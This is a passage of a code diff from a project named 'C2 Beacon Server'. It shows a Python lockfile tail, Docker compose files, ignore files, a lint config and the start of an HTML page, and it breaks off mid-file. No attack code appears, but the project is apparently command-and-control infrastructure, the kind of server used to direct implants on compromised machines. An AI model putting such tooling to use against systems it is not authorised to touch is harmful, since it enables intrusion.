{ url = "https://files.pythonhosted.org/packages/40/44/3196b40fec68b4413c92875311f17ccf4c3ff7d2e53676f8fc18ad29bd18/pyobjc_framework_applicationservices-12.1-cp314-cp314-macosx_10_15_universal2.whl", hash = "sha256:f43c9a24ad97a9121276d4d571aa04a924282c80d7291cfb3b29839c3e2013a8", size = 32997, upload-time = "2025-11-14T09:36:21.58Z" },
{ url = "https://files.pythonhosted.org/packages/fd/bb/dab21d2210d3ef7dd0616df7e8ea89b5d8d62444133a25f76e649a947168/pyobjc_framework_applicationservices-12.1-cp314-cp314t-macosx_10_15_universal2.whl", hash = "sha256:1f72e20009a4ebfd5ed5b23dc11c1528ad6b55cc63ee71952ddb2a5e5f1cb7da", size = 33238, upload-time = "2025-11-14T09:36:24.751Z" },
]
[[package]]
name = "pyobjc-framework-cocoa"
version = "12.1"
source = { registry = "https://pypi.org/simple" }
dependencies = [
{ name = "pyobjc-core" },
]
sdist = { url = "https://files.pythonhosted.org/packages/02/a3/16ca9a15e77c061a9250afbae2eae26f2e1579eb8ca9462ae2d2c71e1169/pyobjc_framework_cocoa-12.1.tar.gz", hash = "sha256:5556c87db95711b985d5efdaaf01c917ddd41d148b1e52a0c66b1a2e2c5c1640", size = 2772191, upload-time = "2025-11-14T10:13:02.069Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/95/bf/ee4f27ec3920d5c6fc63c63e797c5b2cc4e20fe439217085d01ea5b63856/pyobjc_framework_cocoa-12.1-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:547c182837214b7ec4796dac5aee3aa25abc665757b75d7f44f83c994bcb0858", size = 384590, upload-time = "2025-11-14T09:41:17.336Z" },
{ url = "https://files.pythonhosted.org/packages/ad/31/0c2e734165abb46215797bd830c4bdcb780b699854b15f2b6240515edcc6/pyobjc_framework_cocoa-12.1-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:5a3dcd491cacc2f5a197142b3c556d8aafa3963011110102a093349017705118", size = 384689, upload-time = "2025-11-14T09:41:41.478Z" },
{ url = "https://files.pythonhosted.org/packages/23/3b/b9f61be7b9f9b4e0a6db18b3c35c4c4d589f2d04e963e2174d38c6555a92/pyobjc_framework_cocoa-12.1-cp313-cp313t-macosx_10_13_universal2.whl", hash = "sha256:914b74328c22d8ca261d78c23ef2befc29776e0b85555973927b338c5734ca44", size = 388843, upload-time = "2025-11-14T09:42:05.719Z" },
{ url = "https://files.pythonhosted.org/packages/59/bb/f777cc9e775fc7dae77b569254570fe46eb842516b3e4fe383ab49eab598/pyobjc_framework_cocoa-12.1-cp314-cp314-macosx_10_15_universal2.whl", hash = "sha256:03342a60fc0015bcdf9b93ac0b4f457d3938e9ef761b28df9564c91a14f0129a", size = 384932, upload-time = "2025-11-14T09:42:29.771Z" },
{ url = "https://files.pythonhosted.org/packages/58/27/b457b7b37089cad692c8aada90119162dfb4c4a16f513b79a8b2b022b33b/pyobjc_framework_cocoa-12.1-cp314-cp314t-macosx_10_15_universal2.whl", hash = "sha256:6ba1dc1bfa4da42d04e93d2363491275fb2e2be5c20790e561c8a9e09b8cf2cc", size = 388970, upload-time = "2025-11-14T09:42:53.964Z" },
]
[[package]]
name = "pyobjc-framework-coretext"
version = "12.1"
source = { registry = "https://pypi.org/simple" }
dependencies = [
{ name = "pyobjc-core" },
{ name = "pyobjc-framework-cocoa" },
{ name = "pyobjc-framework-quartz" },
]
sdist = { url = "https://files.pythonhosted.org/packages/29/da/682c9c92a39f713bd3c56e7375fa8f1b10ad558ecb075258ab6f1cdd4a6d/pyobjc_framework_coretext-12.1.tar.gz", hash = "sha256:e0adb717738fae395dc645c9e8a10bb5f6a4277e73cba8fa2a57f3b518e71da5", size = 90124, upload-time = "2025-11-14T10:14:38.596Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/cd/0f/ddf45bf0e3ba4fbdc7772de4728fd97ffc34a0b5a15e1ab1115b202fe4ae/pyobjc_framework_coretext-12.1-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:d246fa654bdbf43bae3969887d58f0b336c29b795ad55a54eb76397d0e62b93c", size = 30108, upload-time = "2025-11-14T09:47:04.228Z" },
{ url = "https://files.pythonhosted.org/packages/20/a2/a3974e3e807c68e23a9d7db66fc38ac54f7ecd2b7a9237042006699a76e1/pyobjc_framework_coretext-12.1-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:7cbb2c28580e6704ce10b9a991ccd9563a22b3a75f67c36cf612544bd8b21b5f", size = 30110, upload-time = "2025-11-14T09:47:07.518Z" },
{ url = "https://files.pythonhosted.org/packages/0f/5d/85e059349e9cfbd57269a1f11f56747b3ff5799a3bcbd95485f363c623d8/pyobjc_framework_coretext-12.1-cp313-cp313t-macosx_10_13_universal2.whl", hash = "sha256:14100d1e39efb30f57869671fb6fce8d668f80c82e25e7930fb364866e5c0dab", size = 30697, upload-time = "2025-11-14T09:47:10.932Z" },
{ url = "https://files.pythonhosted.org/packages/ef/c3/adf9d306e9ead108167ab7a974ab7d171dbacf31c72fad63e12585f58023/pyobjc_framework_coretext-12.1-cp314-cp314-macosx_10_15_universal2.whl", hash = "sha256:782a1a9617ea267c05226e9cd81a8dec529969a607fe1e037541ee1feb9524e9", size = 30095, upload-time = "2025-11-14T09:47:13.893Z" },
{ url = "https://files.pythonhosted.org/packages/bd/ca/6321295f47a47b0fca7de7e751ddc0ddc360413f4e506335fe9b0f0fb085/pyobjc_framework_coretext-12.1-cp314-cp314t-macosx_10_15_universal2.whl", hash = "sha256:7afe379c5a870fa3e66e6f65231c3c1732d9ccd2cd2a4904b2cd5178c9e3c562", size = 30702, upload-time = "2025-11-14T09:47:17.292Z" },
]
[[package]]
name = "pyobjc-framework-quartz"
version = "12.1"
source = { registry = "https://pypi.org/simple" }
dependencies = [
{ name = "pyobjc-core" },
{ name = "pyobjc-framework-cocoa" },
]
sdist = { url = "https://files.pythonhosted.org/packages/94/18/cc59f3d4355c9456fc945eae7fe8797003c4da99212dd531ad1b0de8a0c6/pyobjc_framework_quartz-12.1.tar.gz", hash = "sha256:27f782f3513ac88ec9b6c82d9767eef95a5cf4175ce88a1e5a65875fee799608", size = 3159099, upload-time = "2025-11-14T10:21:24.31Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/e9/9b/780f057e5962f690f23fdff1083a4cfda5a96d5b4d3bb49505cac4f624f2/pyobjc_framework_quartz-12.1-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:7730cdce46c7e985535b5a42c31381af4aa6556e5642dc55b5e6597595e57a16", size = 218798, upload-time = "2025-11-14T10:00:01.236Z" },
{ url = "https://files.pythonhosted.org/packages/ba/2d/e8f495328101898c16c32ac10e7b14b08ff2c443a756a76fd1271915f097/pyobjc_framework_quartz-12.1-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:629b7971b1b43a11617f1460cd218bd308dfea247cd4ee3842eb40ca6f588860", size = 219206, upload-time = "2025-11-14T10:00:15.623Z" },
{ url = "https://files.pythonhosted.org/packages/67/43/b1f0ad3b842ab150a7e6b7d97f6257eab6af241b4c7d14cb8e7fde9214b8/pyobjc_framework_quartz-12.1-cp313-cp313t-macosx_10_13_universal2.whl", hash = "sha256:53b84e880c358ba1ddcd7e8d5ea0407d760eca58b96f0d344829162cda5f37b3", size = 224317, upload-time = "2025-11-14T10:00:30.703Z" },
{ url = "https://files.pythonhosted.org/packages/4a/00/96249c5c7e5aaca5f688ca18b8d8ad05cd7886ebd639b3c71a6a4cadbe75/pyobjc_framework_quartz-12.1-cp314-cp314-macosx_10_15_universal2.whl", hash = "sha256:42d306b07f05ae7d155984503e0fb1b701fecd31dcc5c79fe8ab9790ff7e0de0", size = 219558, upload-time = "2025-11-14T10:00:45.476Z" },
{ url = "https://files.pythonhosted.org/packages/4d/a6/708a55f3ff7a18c403b30a29a11dccfed0410485a7548c60a4b6d4cc0676/pyobjc_framework_quartz-12.1-cp314-cp314t-macosx_10_15_universal2.whl", hash = "sha256:0cc08fddb339b2760df60dea1057453557588908e42bdc62184b6396ce2d6e9a", size = 224580, upload-time = "2025-11-14T10:01:00.091Z" },
]
[[package]]
name = "python-xlib"
version = "0.33"
source = { registry = "https://pypi.org/simple" }
dependencies = [
{ name = "six" },
]
sdist = { url = "https://files.pythonhosted.org/packages/86/f5/8c0653e5bb54e0cbdfe27bf32d41f27bc4e12faa8742778c17f2a71be2c0/python-xlib-0.33.tar.gz", hash = "sha256:55af7906a2c75ce6cb280a584776080602444f75815a7aff4d287bb2d7018b32", size = 269068, upload-time = "2022-12-25T18:53:00.824Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/fc/b8/ff33610932e0ee81ae7f1269c890f697d56ff74b9f5b2ee5d9b7fa2c5355/python_xlib-0.33-py2.py3-none-any.whl", hash = "sha256:c3534038d42e0df2f1392a1b30a15a4ff5fdc2b86cfa94f072bf11b10a164398", size = 182185, upload-time = "2022-12-25T18:52:58.662Z" },
]
[[package]]
name = "six"
version = "1.17.0"
source = { registry = "https://pypi.org/simple" }
sdist = { url = "https://files.pythonhosted.org/packages/94/e7/b2c673351809dca68a0e064b6af791aa332cf192da575fd474ed7d6f16a2/six-1.17.0.tar.gz", hash = "sha256:ff70335d468e7eb6ec65b95b99d3a2836546063f63acc5171de367e834932a81", size = 34031, upload-time = "2024-12-04T17:35:28.174Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/b7/ce/149a00dd41f10bc29e5921b496af8b574d8413afcd5e30dfa0ed46c2cc5e/six-1.17.0-py2.py3-none-any.whl", hash = "sha256:4721f391ed90541fddacab5acf947aa0d3dc7d27b2e1e8eda2be8970586c3274", size = 11050, upload-time = "2024-12-04T17:35:26.475Z" },
]
[[package]]
name = "websockets"
version = "16.0"
source = { registry = "https://pypi.org/simple" }
sdist = { url = "https://files.pythonhosted.org/packages/04/24/4b2031d72e840ce4c1ccb255f693b15c334757fc50023e4db9537080b8c4/websockets-16.0.tar.gz", hash = "sha256:5f6261a5e56e8d5c42a4497b364ea24d94d9563e8fbd44e78ac40879c60179b5", size = 179346, upload-time = "2026-01-10T09:23:47.181Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/84/7b/bac442e6b96c9d25092695578dda82403c77936104b5682307bd4deb1ad4/websockets-16.0-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:71c989cbf3254fbd5e84d3bff31e4da39c43f884e64f2551d14bb3c186230f00", size = 177365, upload-time = "2026-01-10T09:22:46.787Z" },
{ url = "https://files.pythonhosted.org/packages/b0/fe/136ccece61bd690d9c1f715baaeefd953bb2360134de73519d5df19d29ca/websockets-16.0-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:8b6e209ffee39ff1b6d0fa7bfef6de950c60dfb91b8fcead17da4ee539121a79", size = 175038, upload-time = "2026-01-10T09:22:47.999Z" },
{ url = "https://files.pythonhosted.org/packages/40/1e/9771421ac2286eaab95b8575b0cb701ae3663abf8b5e1f64f1fd90d0a673/websockets-16.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:86890e837d61574c92a97496d590968b23c2ef0aeb8a9bc9421d174cd378ae39", size = 175328, upload-time = "2026-01-10T09:22:49.809Z" },
{ url = "https://files.pythonhosted.org/packages/18/29/71729b4671f21e1eaa5d6573031ab810ad2936c8175f03f97f3ff164c802/websockets-16.0-cp312-cp312-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:9b5aca38b67492ef518a8ab76851862488a478602229112c4b0d58d63a7a4d5c", size = 184915, upload-time = "2026-01-10T09:22:51.071Z" },
{ url = "https://files.pythonhosted.org/packages/97/bb/21c36b7dbbafc85d2d480cd65df02a1dc93bf76d97147605a8e27ff9409d/websockets-16.0-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:e0334872c0a37b606418ac52f6ab9cfd17317ac26365f7f65e203e2d0d0d359f", size = 186152, upload-time = "2026-01-10T09:22:52.224Z" },
{ url = "https://files.pythonhosted.org/packages/4a/34/9bf8df0c0cf88fa7bfe36678dc7b02970c9a7d5e065a3099292db87b1be2/websockets-16.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:a0b31e0b424cc6b5a04b8838bbaec1688834b2383256688cf47eb97412531da1", size = 185583, upload-time = "2026-01-10T09:22:53.443Z" },
{ url = "https://files.pythonhosted.org/packages/47/88/4dd516068e1a3d6ab3c7c183288404cd424a9a02d585efbac226cb61ff2d/websockets-16.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:485c49116d0af10ac698623c513c1cc01c9446c058a4e61e3bf6c19dff7335a2", size = 184880, upload-time = "2026-01-10T09:22:55.033Z" },
{ url = "https://files.pythonhosted.org/packages/91/d6/7d4553ad4bf1c0421e1ebd4b18de5d9098383b5caa1d937b63df8d04b565/websockets-16.0-cp312-cp312-win32.whl", hash = "sha256:eaded469f5e5b7294e2bdca0ab06becb6756ea86894a47806456089298813c89", size = 178261, upload-time = "2026-01-10T09:22:56.251Z" },
{ url = "https://files.pythonhosted.org/packages/c3/f0/f3a17365441ed1c27f850a80b2bc680a0fa9505d733fe152fdf5e98c1c0b/websockets-16.0-cp312-cp312-win_amd64.whl", hash = "sha256:5569417dc80977fc8c2d43a86f78e0a5a22fee17565d78621b6bb264a115d4ea", size = 178693, upload-time = "2026-01-10T09:22:57.478Z" },
{ url = "https://files.pythonhosted.org/packages/cc/9c/baa8456050d1c1b08dd0ec7346026668cbc6f145ab4e314d707bb845bf0d/websockets-16.0-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:878b336ac47938b474c8f982ac2f7266a540adc3fa4ad74ae96fea9823a02cc9", size = 177364, upload-time = "2026-01-10T09:22:59.333Z" },
{ url = "https://files.pythonhosted.org/packages/7e/0c/8811fc53e9bcff68fe7de2bcbe75116a8d959ac699a3200f4847a8925210/websockets-16.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:52a0fec0e6c8d9a784c2c78276a48a2bdf099e4ccc2a4cad53b27718dbfd0230", size = 175039, upload-time = "2026-01-10T09:23:01.171Z" },
{ url = "https://files.pythonhosted.org/packages/aa/82/39a5f910cb99ec0b59e482971238c845af9220d3ab9fa76dd9162cda9d62/websockets-16.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:e6578ed5b6981005df1860a56e3617f14a6c307e6a71b4fff8c48fdc50f3ed2c", size = 175323, upload-time = "2026-01-10T09:23:02.341Z" },
{ url = "https://files.pythonhosted.org/packages/bd/28/0a25ee5342eb5d5f297d992a77e56892ecb65e7854c7898fb7d35e9b33bd/websockets-16.0-cp313-cp313-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:95724e638f0f9c350bb1c2b0a7ad0e83d9cc0c9259f3ea94e40d7b02a2179ae5", size = 184975, upload-time = "2026-01-10T09:23:03.756Z" },
{ url = "https://files.pythonhosted.org/packages/f9/66/27ea52741752f5107c2e41fda05e8395a682a1e11c4e592a809a90c6a506/websockets-16.0-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:c0204dc62a89dc9d50d682412c10b3542d748260d743500a85c13cd1ee4bde82", size = 186203, upload-time = "2026-01-10T09:23:05.01Z" },
{ url = "https://files.pythonhosted.org/packages/37/e5/8e32857371406a757816a2b471939d51c463509be73fa538216ea52b792a/websockets-16.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:52ac480f44d32970d66763115edea932f1c5b1312de36df06d6b219f6741eed8", size = 185653, upload-time = "2026-01-10T09:23:06.301Z" },
{ url = "https://files.pythonhosted.org/packages/9b/67/f926bac29882894669368dc73f4da900fcdf47955d0a0185d60103df5737/websockets-16.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:6e5a82b677f8f6f59e8dfc34ec06ca6b5b48bc4fcda346acd093694cc2c24d8f", size = 184920, upload-time = "2026-01-10T09:23:07.492Z" },
{ url = "https://files.pythonhosted.org/packages/3c/a1/3d6ccdcd125b0a42a311bcd15a7f705d688f73b2a22d8cf1c0875d35d34a/websockets-16.0-cp313-cp313-win32.whl", hash = "sha256:abf050a199613f64c886ea10f38b47770a65154dc37181bfaff70c160f45315a", size = 178255, upload-time = "2026-01-10T09:23:09.245Z" },
{ url = "https://files.pythonhosted.org/packages/6b/ae/90366304d7c2ce80f9b826096a9e9048b4bb760e44d3b873bb272cba696b/websockets-16.0-cp313-cp313-win_amd64.whl", hash = "sha256:3425ac5cf448801335d6fdc7ae1eb22072055417a96cc6b31b3861f455fbc156", size = 178689, upload-time = "2026-01-10T09:23:10.483Z" },
{ url = "https://files.pythonhosted.org/packages/f3/1d/e88022630271f5bd349ed82417136281931e558d628dd52c4d8621b4a0b2/websockets-16.0-cp314-cp314-macosx_10_15_universal2.whl", hash = "sha256:8cc451a50f2aee53042ac52d2d053d08bf89bcb31ae799cb4487587661c038a0", size = 177406, upload-time = "2026-01-10T09:23:12.178Z" },
{ url = "https://files.pythonhosted.org/packages/f2/78/e63be1bf0724eeb4616efb1ae1c9044f7c3953b7957799abb5915bffd38e/websockets-16.0-cp314-cp314-macosx_10_15_x86_64.whl", hash = "sha256:daa3b6ff70a9241cf6c7fc9e949d41232d9d7d26fd3522b1ad2b4d62487e9904", size = 175085, upload-time = "2026-01-10T09:23:13.511Z" },
{ url = "https://files.pythonhosted.org/packages/bb/f4/d3c9220d818ee955ae390cf319a7c7a467beceb24f05ee7aaaa2414345ba/websockets-16.0-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:fd3cb4adb94a2a6e2b7c0d8d05cb94e6f1c81a0cf9dc2694fb65c7e8d94c42e4", size = 175328, upload-time = "2026-01-10T09:23:14.727Z" },
{ url = "https://files.pythonhosted.org/packages/63/bc/d3e208028de777087e6fb2b122051a6ff7bbcca0d6df9d9c2bf1dd869ae9/websockets-16.0-cp314-cp314-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:781caf5e8eee67f663126490c2f96f40906594cb86b408a703630f95550a8c3e", size = 185044, upload-time = "2026-01-10T09:23:15.939Z" },
{ url = "https://files.pythonhosted.org/packages/ad/6e/9a0927ac24bd33a0a9af834d89e0abc7cfd8e13bed17a86407a66773cc0e/websockets-16.0-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:caab51a72c51973ca21fa8a18bd8165e1a0183f1ac7066a182ff27107b71e1a4", size = 186279, upload-time = "2026-01-10T09:23:17.148Z" },
{ url = "https://files.pythonhosted.org/packages/b9/ca/bf1c68440d7a868180e11be653c85959502efd3a709323230314fda6e0b3/websockets-16.0-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:19c4dc84098e523fd63711e563077d39e90ec6702aff4b5d9e344a60cb3c0cb1", size = 185711, upload-time = "2026-01-10T09:23:18.372Z" },
{ url = "https://files.pythonhosted.org/packages/c4/f8/fdc34643a989561f217bb477cbc47a3a07212cbda91c0e4389c43c296ebf/websockets-16.0-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:a5e18a238a2b2249c9a9235466b90e96ae4795672598a58772dd806edc7ac6d3", size = 184982, upload-time = "2026-01-10T09:23:19.652Z" },
{ url = "https://files.pythonhosted.org/packages/dd/d1/574fa27e233764dbac9c52730d63fcf2823b16f0856b3329fc6268d6ae4f/websockets-16.0-cp314-cp314-win32.whl", hash = "sha256:a069d734c4a043182729edd3e9f247c3b2a4035415a9172fd0f1b71658a320a8", size = 177915, upload-time = "2026-01-10T09:23:21.458Z" },
{ url = "https://files.pythonhosted.org/packages/8a/f1/ae6b937bf3126b5134ce1f482365fde31a357c784ac51852978768b5eff4/websockets-16.0-cp314-cp314-win_amd64.whl", hash = "sha256:c0ee0e63f23914732c6d7e0cce24915c48f3f1512ec1d079ed01fc629dab269d", size = 178381, upload-time = "2026-01-10T09:23:22.715Z" },
{ url = "https://files.pythonhosted.org/packages/06/9b/f791d1db48403e1f0a27577a6beb37afae94254a8c6f08be4a23e4930bc0/websockets-16.0-cp314-cp314t-macosx_10_15_universal2.whl", hash = "sha256:a35539cacc3febb22b8f4d4a99cc79b104226a756aa7400adc722e83b0d03244", size = 177737, upload-time = "2026-01-10T09:23:24.523Z" },
{ url = "https://files.pythonhosted.org/packages/bd/40/53ad02341fa33b3ce489023f635367a4ac98b73570102ad2cdd770dacc9a/websockets-16.0-cp314-cp314t-macosx_10_15_x86_64.whl", hash = "sha256:b784ca5de850f4ce93ec85d3269d24d4c82f22b7212023c974c401d4980ebc5e", size = 175268, upload-time = "2026-01-10T09:23:25.781Z" },
{ url = "https://files.pythonhosted.org/packages/74/9b/6158d4e459b984f949dcbbb0c5d270154c7618e11c01029b9bbd1bb4c4f9/websockets-16.0-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:569d01a4e7fba956c5ae4fc988f0d4e187900f5497ce46339c996dbf24f17641", size = 175486, upload-time = "2026-01-10T09:23:27.033Z" },
{ url = "https://files.pythonhosted.org/packages/e5/2d/7583b30208b639c8090206f95073646c2c9ffd66f44df967981a64f849ad/websockets-16.0-cp314-cp314t-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:50f23cdd8343b984957e4077839841146f67a3d31ab0d00e6b824e74c5b2f6e8", size = 185331, upload-time = "2026-01-10T09:23:28.259Z" },
{ url = "https://files.pythonhosted.org/packages/45/b0/cce3784eb519b7b5ad680d14b9673a31ab8dcb7aad8b64d81709d2430aa8/websockets-16.0-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:152284a83a00c59b759697b7f9e9cddf4e3c7861dd0d964b472b70f78f89e80e", size = 186501, upload-time = "2026-01-10T09:23:29.449Z" },
{ url = "https://files.pythonhosted.org/packages/19/60/b8ebe4c7e89fb5f6cdf080623c9d92789a53636950f7abacfc33fe2b3135/websockets-16.0-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:bc59589ab64b0022385f429b94697348a6a234e8ce22544e3681b2e9331b5944", size = 186062, upload-time = "2026-01-10T09:23:31.368Z" },
{ url = "https://files.pythonhosted.org/packages/88/a8/a080593f89b0138b6cba1b28f8df5673b5506f72879322288b031337c0b8/websockets-16.0-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:32da954ffa2814258030e5a57bc73a3635463238e797c7375dc8091327434206", size = 185356, upload-time = "2026-01-10T09:23:32.627Z" },
{ url = "https://files.pythonhosted.org/packages/c2/b6/b9afed2afadddaf5ebb2afa801abf4b0868f42f8539bfe4b071b5266c9fe/websockets-16.0-cp314-cp314t-win32.whl", hash = "sha256:5a4b4cc550cb665dd8a47f868c8d04c8230f857363ad3c9caf7a0c3bf8c61ca6", size = 178085, upload-time = "2026-01-10T09:23:33.816Z" },
{ url = "https://files.pythonhosted.org/packages/9f/3e/28135a24e384493fa804216b79a6a6759a38cc4ff59118787b9fb693df93/websockets-16.0-cp314-cp314t-win_amd64.whl", hash = "sha256:b14dc141ed6d2dde437cddb216004bcac6a1df0935d79656387bd41632ba0bbd", size = 178531, upload-time = "2026-01-10T09:23:35.016Z" },
{ url = "https://files.pythonhosted.org/packages/6f/28/258ebab549c2bf3e64d2b0217b973467394a9cea8c42f70418ca2c5d0d2e/websockets-16.0-py3-none-any.whl", hash = "sha256:1637db62fad1dc833276dded54215f2c7fa46912301a24bd94d45d46a011ceec", size = 171598, upload-time = "2026-01-10T09:23:45.395Z" },
]

View File

@ -0,0 +1,79 @@
# =============================================================================
# AngelaMos | 2026
# compose.yml
# =============================================================================
# Production compose - Nginx (with built frontend) + FastAPI backend
# =============================================================================
name: ${APP_NAME:-c2-beacon}
services:
nginx:
build:
context: .
dockerfile: infra/docker/frontend-builder.prod
args:
- VITE_API_URL=${VITE_API_URL:-/api}
- VITE_APP_TITLE=${VITE_APP_TITLE:-C2 Beacon Server}
container_name: ${APP_NAME:-c2-beacon}-nginx
ports:
- "${NGINX_HOST_PORT:-47430}:80"
depends_on:
backend:
condition: service_healthy
networks:
- frontend
- backend
deploy:
resources:
limits:
cpus: '1.0'
memory: 256M
reservations:
cpus: '0.25'
memory: 64M
restart: unless-stopped
backend:
build:
context: ./backend
dockerfile: ../infra/docker/fastapi.prod
container_name: ${APP_NAME:-c2-beacon}-backend
ports:
- "${BACKEND_HOST_PORT:-47431}:8000"
expose:
- "8000"
env_file:
- .env
environment:
- ENVIRONMENT=production
- DEBUG=false
- RELOAD=false
volumes:
- c2_data:/app/data
networks:
- backend
deploy:
resources:
limits:
cpus: '2.0'
memory: 1G
reservations:
cpus: '0.5'
memory: 256M
healthcheck:
test: ["CMD", "python", "-c", "import urllib.request; urllib.request.urlopen('http://localhost:8000/health')"]
interval: 30s
timeout: 5s
retries: 3
start_period: 15s
restart: unless-stopped
networks:
frontend:
driver: bridge
backend:
driver: bridge
volumes:
c2_data:

View File

@ -0,0 +1,80 @@
# =============================================================================
# AngelaMos | 2026
# dev.compose.yml
# =============================================================================
# Development compose - Nginx + Vite HMR + FastAPI with hot reload
# =============================================================================
name: ${APP_NAME:-c2-beacon}-dev
services:
nginx:
image: nginx:1.27-alpine
container_name: ${APP_NAME:-c2-beacon}-nginx-dev
ports:
- "${NGINX_HOST_PORT:-47430}:80"
volumes:
- ./infra/nginx/nginx.conf:/etc/nginx/nginx.conf:ro
- ./infra/nginx/dev.nginx:/etc/nginx/conf.d/default.conf:ro
depends_on:
backend:
condition: service_healthy
frontend:
condition: service_started
networks:
- frontend
- backend
restart: unless-stopped
frontend:
build:
context: ./frontend
dockerfile: ../infra/docker/vite.dev
container_name: ${APP_NAME:-c2-beacon}-frontend-dev
ports:
- "${FRONTEND_HOST_PORT:-47432}:5173"
volumes:
- ./frontend:/app
- frontend_modules:/app/node_modules
environment:
- VITE_API_URL=${VITE_API_URL:-/api}
- VITE_APP_TITLE=${VITE_APP_TITLE:-C2 Beacon Server}
networks:
- frontend
restart: unless-stopped
backend:
build:
context: ./backend
dockerfile: ../infra/docker/fastapi.dev
container_name: ${APP_NAME:-c2-beacon}-backend-dev
ports:
- "${BACKEND_HOST_PORT:-47431}:8000"
volumes:
- ./backend:/app
- backend_cache:/app/.venv
env_file:
- .env
environment:
- ENVIRONMENT=development
- DEBUG=true
- RELOAD=true
networks:
- backend
healthcheck:
test: ["CMD", "python", "-c", "import urllib.request; urllib.request.urlopen('http://localhost:8000/health')"]
interval: 10s
timeout: 5s
retries: 5
start_period: 30s
restart: unless-stopped
networks:
frontend:
driver: bridge
backend:
driver: bridge
volumes:
backend_cache:
frontend_modules:

View File

@ -0,0 +1,15 @@
node_modules
build
dist
.git
.gitignore
*.md
.env*
.vscode
.idea
*.log
npm-debug.log*
pnpm-debug.log*
.DS_Store
coverage
.nyc_output

View File

@ -0,0 +1,25 @@
# Logs
logs
*.log
npm-debug.log*
yarn-debug.log*
yarn-error.log*
pnpm-debug.log*
lerna-debug.log*
node_modules
dist
dist-ssr
*.local
.vite
# Editor directories and files
.vscode/*
!.vscode/extensions.json
.idea
.DS_Store
*.suo
*.ntvs*
*.njsproj
*.sln
*.sw?

View File

@ -0,0 +1,22 @@
# ©AngelaMos | 2026
# .stylelintignore
# Dependencies
node_modules/
# Production builds
dist/
build/
out/
# JS/TS files
**/*.js
**/*.jsx
**/*.ts
**/*.tsx
# Generated files
*.min.css
# Error system styles - ignore from linting
src/core/app/_toastStyles.scss

View File

@ -0,0 +1,94 @@
{
"$schema": "https://biomejs.dev/schemas/2.3.15/schema.json",
"vcs": {
"enabled": true,
"clientKind": "git",
"useIgnoreFile": true
},
"files": {
"includes": ["**/*.ts", "**/*.tsx", "**/*.js", "**/*.jsx", "**/*.json"]
},
"formatter": {
"enabled": true,
"indentStyle": "space",
"indentWidth": 2,
"lineWidth": 82,
"lineEnding": "lf"
},
"javascript": {
"formatter": {
"quoteStyle": "single",
"jsxQuoteStyle": "double",
"semicolons": "asNeeded",
"trailingCommas": "es5",
"arrowParentheses": "always"
}
},
"linter": {
"enabled": true,
"rules": {
"recommended": true,
"complexity": {
"noExcessiveCognitiveComplexity": {
"level": "error",
"options": { "maxAllowedComplexity": 25 }
},
"noForEach": "off",
"useLiteralKeys": "off"
},
"correctness": {
"noUnusedVariables": "error",
"noUnusedImports": "error",
"useExhaustiveDependencies": "warn",
"useHookAtTopLevel": "error",
"noUndeclaredVariables": "error"
},
"style": {
"useImportType": "error",
"useConst": "error",
"useTemplate": "error",
"useSelfClosingElements": "error",
"useFragmentSyntax": "error",
"noNonNullAssertion": "error",
"useConsistentArrayType": {
"level": "error",
"options": { "syntax": "shorthand" }
},
"useNamingConvention": "off"
},
"suspicious": {
"noExplicitAny": "error",
"noDebugger": "error",
"noConsole": "warn",
"noArrayIndexKey": "warn",
"noAssignInExpressions": "error",
"noDoubleEquals": "error",
"noRedeclare": "error",
"noVar": "error"
},
"security": {
"noDangerouslySetInnerHtml": "error"
},
"a11y": {
"useAltText": "error",
"useAnchorContent": "error",
"useKeyWithClickEvents": "error",
"noStaticElementInteractions": "error",
"useButtonType": "error",
"useValidAnchor": "error"
}
}
},
"overrides": [
{
"includes": ["src/main.tsx"],
"linter": {
"rules": {
"style": {
"noNonNullAssertion": "off"
}
}
}
}
]
}

View File

@ -0,0 +1,44 @@
<!doctype html>
<html lang="en">
<head>
<!--
C2 Beacon
Author(s): © AngelaMos, CarterPerez-dev
-->
<meta charset="UTF-8" />
<link
rel="icon"
type="image/x-icon"
href="/assets/favicon.ico"
/>
<link
rel="apple-touch-icon"
type="image/png"
href="/assets/apple-touch-icon.png"
/>
<link
rel="manifest"
